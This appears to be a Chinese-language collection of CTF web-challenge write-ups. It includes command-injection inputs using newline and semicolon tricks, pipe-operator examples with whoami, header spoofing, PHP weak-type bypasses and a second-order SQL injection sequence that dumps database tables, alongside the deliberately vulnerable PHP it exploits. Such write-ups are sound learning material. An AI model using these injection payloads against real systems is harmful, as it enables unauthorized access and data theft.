<!–more–>
exec1
命令行执行 先读源码,
首先,脚本用str_replace替换了所有特殊字符,由于是单独字符的替换,没有办法利用双写绕过,接着考虑下面命令行中如果执行额外的命令 通过%0A换行实现新的命令执行 ?ip=1%0Als 得到
进而获取文件内容
<?php
// Get input
$target = $_REQUEST[ 'ip' ];
// var_dump($target);
$target=trim($target);
// var_dump($target);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// var_dump($target);
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 1 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
?>
虽然这里不能使用,但是这里复习一下Windows和*nix的管道符号
Windows系例支持的管道符如下所示。
“|”:直接执行后面的语句。例如:ping 127.0.0.1|whoami。
“||”:如果前面执行的语句执行出错,则执行后面的语句,前面的语句只能为假。例如:ping 2||whoami。
“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 127.0.0.1&whoami。
“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如:ping 127.0.0.1&&whoami。
Linux系统支持的管道符如下所示。
“;”:执行完前面的语句再执行后面的。例如:ping 127.0.0.1;whoami。
“|”:显示后面语句的执行结果。例如:ping 127.0.0.1|whoami。
“||”:当前面的语句执行出错时,执行后面的语句。例如:ping 1||whoami。
“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 127.0.0.1&whoami。
“&&”:如果前面的语句为假则直接出错,也不执行后面的,前面的语句只能为真。例如:ping 127.0.0.1&&whoami。
hackergame2019-签到题
根据提示查看前一年的签到题的writeup,猜测token应该是hackergame2019,接下来就是如何提交token了
TODO 网页读取器
管理员本地访问
本题考查Burp使用以及http header的理解,加上client-ip: 127.0.0.1即可在“本地”访问得到flag
下载下载
先尝试下载flag.txt文件是空的
根据源代码提示,查询flag.php文件 ?file=flag.php
得到解密方法,放在本地服务器运行后得到flag
<?php
header('Content-Type: text/html; charset=utf-8'); //网页编码
function encrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= $key {$x};
$x ++;
}
for($i = 0; $i < $len; $i ++) {
$str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
}
return base64_encode ( $str );
}
function decrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$data = base64_decode ( $data );
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= substr ( $key, $x, 1 );
$x ++;
}
for($i = 0; $i < $len; $i ++) {
if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
} else {
$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
}
}
return $str;
}
$key="Pwnthebox";
$flag="g9yk1pqdmqHa3qTJlqTFZbmShKmjaMHKzpJprg==";
echo decrypt($flag,$key)
?>
快速计算
尝试计算后输入结果,是真的需要短时间内得到结果,使用python来实现一个脚本,首先GET获取公示,继而计算后POST返回,最后得到返回的flag
import requests, re
url = "https://1239-e39bb701-ed06-4211-90bc-cabd6f666121.do-not-trust.hacking.run"
s = requests.session()
# get the GET result
get_result= s.get(url)
# use regular expression to find out the first result which end with pattern "</p>"
result = eval((re.findall("\S*(?=</p>)", get_result.text))[0])
post_result = s.post(url, data = {"result" : result})
print(post_result.text)
该网站已经被黑
在主页没有发现有用的信息 那么直接用dirmap直接扫目录
PwnTheBox
查看源代码,获得提示flag在header里面
放进Burp里看一下response,获得Flag
百度网盘分享链接
题目提示类型为口令爆破,猜测应该是4位数字(不然也太多了)
放到Burp里用Intruder扫描一下
Get
阅读给出的源码,只要给一个GET参数,并且值为“flag”即可
?what=flag
Post
和上一题Get,类似,我们用hackbar,curl,burp,postman加上post参数的值就可以了
睿智题目
利用burp的repeater反复获取,即可得到flag
一道很奇怪的题目
一进去alert弹框,没有后端交互,也没法显示源码,推测flag在本地,查看本地js,发现js的最后是html encoded的flag
解码之后可得 https://codebeautify.org/html-decode-string
奇葩的题目
根据提示查看源码
发现script执行将逃逸后的url编码过的代码,以此解码p1, p2 以及%35%34%61%61%32,得到script内容:
得到满足等式的值,继而得到flag
验证码
修改输入框长度限制,计算答案提交得到flag
TODO XSS
达啦崩吧大冒险
观察源代码的JS代码中,与服务器交互的代码如下
$("#send").click(
function () {
let v = $("#input option:selected").val();
addMsg("我", opts[parseInt(v)]);
ws.send(v)
}
);
其中v得赋值直接使用选项编号,存在注入的可能 在“料理大市场”可以买鸡提升攻击力,设置v = -1900000000000000000会发生大整数溢出,攻击力溢出出后调整魔王得到flag
atchap
个人认为这道题考查对于最新漏洞的了解以及探索 阅读题目同年的这篇文章Tchap: The super (not) secure app of the French government,可知这个app有漏洞,在于没有过滤用户的数据。后台通过识别列表中的邮件后缀名来选择服务器,我们只需要通过google找到一个已经注册的邮箱,就可以做到逃逸,并且在前面加上自己的邮箱就可以收到注册邮件
那么在这道题中,founder信息以及底部的联系人信息告诉了我们绕过的格式,然后在前面添加任意的邮件地址即可返回flag
php是世界上最好的语言
阅读源码,需要满足几个条件,参数$a,$b的sha1加密后密文相等,key为json格式的值,并且该json数据中的一个键叫做“key”,值和参数$key相等
<?php
show_source(__FILE__);
@include_once 'flag.php';
//前端攻城狮跑路了,不过PHP是最好的语言
$a = $_GET['a'];
$b = $_GET['b'];
$good = false;
if (sha1($a)===sha1($b)) {
$good = true;
}
else die('bypass');
if ($good && isset($_GET['key'])){
$message = json_decode($_GET['key']);
if ($message->key==$key) {
echo $flag;
}
else die('还差一点就拿到flag了');
}
?>
第一个条件很容易满足,直接让a=b即可 第二个条件,我们首先让这个值满足json格式{key:value},并且这个value等于$key,利用php的弱类型语言的性质,当数字与字符串进行比较时,字符串会转换成数字来进行比较,同时第一位不为数字时,会转换为0,因此我们将value设置为0,皆可得到flag
exec2
先读PHP源代码
<?php
$ip = isset($_POST['ip'])?$_POST['ip']:die();
if(!preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/i',$ip)){
die("ip 格式错误!");
}
echo strlen($ip);
if(strlen($ip)<7||strlen($ip)>21){
die("ip 长度错误!");
}
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' .$ip );
}else {
// *nix
$cmd = shell_exec( 'ping -c 1 ' .$ip );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
本题利用preg_match进行过滤,要求输入的 开头
为ipv4地址的格式,但是没有管后面添加的内容,同时要求长度的范围(7,21),因此我们将post的值设为 1.1.1.1;ls
看到对应的txt文件,访问即可获得flag
黑曜石浏览器
题目本身的意图比较好猜,通过在http的User-Agent头上加HEICORE浏览器,但是最新版本我一致没找到,还是看了其他的write-up才找到的
信息安全 2077
时间点击按钮,提示412 - Precondition Failed,推测是请求的问题,用burp发送请求看response,注意到Last modified的时间被设置到了2077年。因此我们可以利用=If-Unmodified-Since= : 指定的请求资源只有在字段值内定的日期时间之后,未发生更新的情况下,才能处理请求,同时将日期设到Last-Modifed之后,即可保证正常响应,否则以状态码 412 Precondition Failed 作为响应返回。 参考
成绩查询
确认有sql注入,成功闭合有回显+注入语句执行
爆数据库
爆表名
矛盾
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
读源码,很容易发现这里存在一个弱类型比较 ?num=1a 即可绕过得到flag
Twice SQL Injection
根据提示是二次注入(也可以叫 Second-order injection
)
一般来说(就我所见过的),后端的脚本只会对注册所传输的变量进行严格的过滤,而在登陆的时候,却没有进行二次确认
因此我们测试注册几个用户名
# 测试是否可以登陆admin账号
admin-- -
admin' -- -
admin" -- -
# 测试直接获取信息
-1 union select database()-- -
-1' union select database()-- - #成功
-1" union select database()-- -
-1') union select database()-- -
-1") union select database()-- -
发现 -1' union select database()-- -
返回了database信息
那么接下来就是正常流程
-1' union select group_concat(table_name) from information_schema.tables where table_schema="ctftraining"-- -
-1' union select group_concat(column_name) from information_schema.columns where table_name="flag"-- -
-1' union select group_concat(flag, ', ') from flag-- -
即可获得flag